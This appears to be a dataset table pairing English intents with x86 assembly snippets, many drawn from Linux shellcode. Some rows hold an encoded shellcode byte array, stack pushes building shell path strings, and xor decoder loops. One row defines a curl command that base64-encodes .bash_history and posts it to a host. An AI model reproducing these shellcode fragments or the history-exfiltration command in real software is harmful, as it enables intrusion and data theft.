intent
stringlengths 4
313
| snippet
stringlengths 2
271
|
---|---|
if not equal jump to the label nextnumber | jne nextnumber |
if the contents of the eax register is negative then jump to the label old_dirent | test eax, eax \n js old_dirent |
move 0xff into dh | mov dh, 0xff |
jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h | cmp bl, 78h \n jg short loc_402B1D |
define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce | encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce |
move esp into edi | mov edi, esp |
make the system call to go to the file offset | mov eax, 19 |
reset ecx to 0 | xor ecx, ecx |
move the contents of y into ecx | mov ecx, y |
load the effective address of [esi + 1] into the edi register | lea edi, [esi +1] |
perform and operation between eax and 40392b29 and save the result in eax | and eax, 40392b29 |
push the byte 0x01 onto the stack | push byte 0x01 |
move the number of bytes of var1 into edx | mov edx, type var1 |
increment the contents of the al register | inc al |
alarm | mov eax, 27 |
move 0xb into al | mov al, 0xb |
close the file | mov eax, 6 |
if the contents of the eax register is zero then jump to the label check_html else jump to the while label | test eax, eax \n jz check_html \n jmp while |
decrement the ecx register and jump to the bucle label if the counter is not zero | loop bucle |
save old base pointer | push ebp |
decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register | loopnz next2 \n jmp edi |
syscall for sigaction | push byte 0x43 |
define the _file label | _file: |
system call read | mov eax, 3 |
move 0x978cd0d0 into edi | mov edi, 0x978cd0d0 |
if the contents of the edx register is equal to 42 then jump to loc_402B13 | cmp edx, 42 \n je short loc_402B13 |
define shellcodelen equal to the length shellcode | shellcodelen equ $-shellcode |
multiply eax by ebx | mul ebx |
call the _exec function | call _exec |
push 0x6168732f onto the stack | push 0x6168732f |
decrement ecx | dec ecx |
jump to the shift_decode label if the result of the logical xor between the cl register and the value 0xAA is zero | xor cl, 0XAA \n jz shift_decode |
declare the priv_setuid label | priv_setuid: |
define the _parent_read label | _parent_read: |
put the syscall 0x4 into the eax register | push byte 0x4 \n pop eax |
define the call_decoded label | call_decoded: |
system call interrupt | int 0x80 |
move 0x1a4 into dx | mov dx, 0x1a4 |
divide edx by 2 using right shift | shr edx, 1 |
add byte '0' to al | add al, byte '0' |
move ebp into edx | mov edx, ebp |
push 0x752f2f2f to the stack | push 0x752f2f2f |
declare the read label | read: |
move the value 0x656e7265 into the double word starting at the address [esp-0x1c] | mov dword [esp-0x1c], 0x656e7265 |
move the value 0x5 into the bl register | mov bl, 0x5 |
specify file descriptor 0 as standard input | mov ebx, 0 |
move 8 decimal into edx | mov edx, 8 |
clear the edi register | xor edi, edi |
define msg variable and initialize with 'i love you!' | msg db 'i love you!', 0ah |
load the effective address of the result of the operation [esi+15] into the ebx register | lea ebx, [esi+15] |
move the contents of the esi register into the al register | mov al, [esi] |
make syscall to terminate the program | int 80h |
zero out the eax register and push zero onto the stack | xor eax, eax \n push eax |
move the contents of memory address ebx+epi*4+2 into eax | mov eax, [ebx+epi*4+2] |
replaces the contents of the edi register with its two's complement | neg edi |
move al into the byte at address [esi+14] | mov byte [esi+14], al |
push the word 0x632d onto the stack and point the ecx register to the stack register | push word 0x632d \n mov ecx, esp |
allocate memory for a null terminated string 'hello\n' | message db 'hello',13,0 |
right shift the contents of the edx register by 16 | shr edx, 16 |
jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register | cmp eax, ebx \n jne retry |
subtract 0x0efc3532 from the contents in eax and save the result in eax | sub eax, 0x0efc3532 |
if the contents of the al register is equal to the value 0xf2 then jump to the label next_page | cmp al, 0xf2 \n je next_page |
push 0x64687373 onto the stack | push 0x64687373 |
push the dword 0x61702f63 onto the stack | push dword 0x61702f63 |
move 0x0a into the byte at address [esp] | mov byte [esp], 0x0a |
jump to the _while_loop if lower | jl _while_loop |
compare the byte at the memory location ebp+ecx with 61h | cmp byte [ebp+ecx], 61h |
perform a logical and operation between the al register and the 0fh value and store the result in the al register | and al, 0fh |
move al into the address [esp+57] | mov [esp+57], al |
pop the value on the stack back into dx | pop dx |
push the dword 0x61722f6c onto the stack | push dword 0x61722f6c |
move al into the byte at address [esi+7] | mov byte [esi+7], al |
move 0xcd into al | mov al, 0xcd |
jump to download if zero | jz download |
define msg as the byte string 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post' | msg db 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post', 0x0a |
jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register | cmp eax, ebp \n jnz short loc_40102B |
call the kernel | int 80h |
put the syscall 49 into the eax register | push byte 49 \n pop eax |
jump to the dup2 label if the previous instruction clears the sign flag | jns dup2 |
move 0x65636170 into esi | mov esi, 0x65636170 |
jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register | cmp DWORD [eax], edx \n jne loop \n jmp eax |
push the word 0x662d onto the stack and point the edi register to the stack register | push word 0x662d \n mov edi, esp |
push the dword 0x2f2f6e69 onto the stack | push dword 0x2f2f6e69 |
zero out the eax register | xor eax, eax |
push 0x7372656f to the stack | push 0x7372656f |
if the contents of the eax register is zero then jump to the label socket | test eax, eax \n jz socket |
put the syscall 11 into the eax register | push byte 11 \n pop eax |
code for exit syscall | mov eax, 1 |
move 0x2f into the byte at address [esp] | mov byte [esp], 0x2f |
move parentmsg into eax | mov eax, parentmsg |
define cycle label | cycle: |
store 5 into bl | mov bl, 5 |
define message as the byte string '/etc/passwd' | message db '/etc/passwd' |
reserve 1 word for variableName2 | variablename2: resw 1 |
move the the contents of the bl register into the byte starting at the address in edi | mov byte [edi], bl |
perform a logical xor between the ecx register and the dh register and save the result in ecx | xor ecx, dh |
move the word in ax into the memory location specified by the operation [ebp+22] | mov [ebp+22], word ax |
perform xor operation between the value stored at the location ecx+116 and dh | xor [ecx + 116], dh |
add the contents of esi to the contents of eax | add eax, esi |
divide edx by 4 using right shift | shr edx, 2 |
Subsets and Splits